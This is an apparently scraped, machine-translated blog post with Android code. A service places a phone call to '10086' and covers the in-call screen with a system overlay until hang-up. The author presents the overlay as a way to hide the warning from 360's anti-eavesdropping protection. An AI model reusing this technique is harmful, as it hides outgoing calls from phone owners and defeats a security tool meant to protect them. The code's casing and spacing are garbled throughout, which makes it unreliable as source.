360 anti-eavesdropping is more concise and easy to use than last time written

Source: Internet
Author: User

idea: Click the button, open a service, call directly in the service "10086", in the service to listen to the phone status, the call status with shelter cover, hang up and then disappear and stop the service, if you want to cover 360 of the anti-eavesdropping, you can delay 0.8s in the cover display, you can cover.


The code is as follows: http://download.csdn.net/detail/u012303938/8624721


Package Com.example.testdemo;import Android.support.v4.app.fragment;import Android.app.activity;import Android.content.intent;import Android.os.bundle;import Android.util.log;import Android.view.KeyEvent;import Android.view.layoutinflater;import Android.view.menu;import Android.view.menuitem;import Android.view.View;import Android.view.windowmanager;import Android.view.view.onclicklistener;import Android.view.viewgroup;import Android.view.window;import Android.widget.button;import Android.widget.toast;public class MainActivity extends    Activity {Button button1;       @Override protected void OnCreate (Bundle savedinstancestate) {super.oncreate (savedinstancestate);        GetWindow (). Getdecorview (). setsystemuivisibility (view.system_ui_flag_hide_navigation);        Requestwindowfeature (Window.feature_no_title);        Setcontentview (R.layout.activity_main);        Tappliacation.add (this);        button1= (Button) Findviewbyid (R.id.button1); Button1.setonclicklistener (New onClicklistener () {@Overridepublic void OnClick (View arg0) {//TODO auto-generated method stubintent intent=new Intent (Main Activity.this,myserveice.class); StartService (intent);//intent intent=new Intent (Mainactivity.this,    Mainactivity.class);//startactivity (intent);}); } @Override Public boolean Oncreateoptionsmenu (Menu menu) {//Inflate the menu, this adds items to T        He action Bar if it is present.        Getmenuinflater (). Inflate (R.menu.main, menu);    return true; } @Override public boolean onoptionsitemselected (MenuItem Item) {//Handle Action Bar item clicks here.  The action bar would//automatically handle clicks on the Home/up button, so long/As you specify a parent        Activity in Androidmanifest.xml.        int id = item.getitemid ();        if (id = = r.id.action_settings) {return true;    } return super.onoptionsitemselected (item); }          }


Package Com.example.testdemo;import Android.app.service;import Android.content.context;import Android.content.intent;import Android.net.uri;import Android.os.ibinder;import Android.telephony.phonestatelistener;import Android.telephony.telephonymanager;import Android.util.displaymetrics;import Android.util.log;import Android.view.gravity;import Android.view.View;import Android.view.windowmanager;public class Myserveice extends Service{view view; @Overridepublic ibinder Onbind (Intent ARG0) {//TODO auto-generated method Stubreturn null;} @Overridepublic void OnCreate () {//TODO auto-generated method Stubsuper.oncreate (); View=view.inflate (This, R.layout.list, NULL); Listionpho (); Intent Intent = new Intent (Intent.action_call,uri.parse ("Tel:" + "10086")); Intent.setflags (Intent.flag_activity_new_task); Intent.putextra ("Num", "10086"); StartActivity (intent);} @Overridepublic int Onstartcommand (Intent Intent, int flags, int startid) {//TODO auto-generated method stub//intent inte Nts=new Intent (MyServEice.this,mainactivity.class);//intents.setflags (Intent.flag_activity_new_task);//startActivity (intents); Return Super.onstartcommand (Intent, flags, Startid);} private void Show () {//TODO auto-generated method Stubwindowmanager manager= (WindowManager) Getsystemservice (window_ SERVICE); Windowmanager.layoutparams params = new Windowmanager.layoutparams ();p arams.type = WindowManager.LayoutParams.TYPE_ System_error; int screenwidth = Windowmanager.layoutparams.match_parent;int Screenheigh = 800;//set behavior option Params.flags = WindowManager.L Ayoutparams.flag_not_touch_modal | windowmanager.layoutparams.flag_not_focusable| WindowManager.LayoutParams.TYPE_STATUS_BAR; Params.gravity=gravity.top;params.y=20;params.width = Windowmanager.layoutparams.fill_parent;params.height = screenheigh;//settings Display the initial position screen in the upper left corner for the origin//Topwindow display to the top Manager.addview (view, params);} private void Listionpho () {//TODO auto-generated method Stubtelephonymanager Telmanager = (telephonymanager) Getsystemse Rvice (Context.telephony_serVICE); Phonestatelistener listener=new Phonestatelistener () {@Overridepublic void oncallstatechanged (int state, String                Incomingnumber) {//TODO auto-generated Method Stubswitch (state) {case Telephonymanager.call_state_idle: if (view! = null && View.isshown ()) {WindowManager WindowManager = (WindowManager) getapplicationcontext (). Getsystemservice (Window_service); Windowmanager.removeview (view); LOG.I ("Test", "Stop the Service"); Stopself (); }//Manager=null;break;case Telephonymanager.call_state_offhook://manager.removeview (view);//show Suspended window show (); break; Default:break;}}; Telmanager.listen (Listener, phonestatelistener.listen_call_state);}}

360 anti-eavesdropping is more concise and easy to use than last time written

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.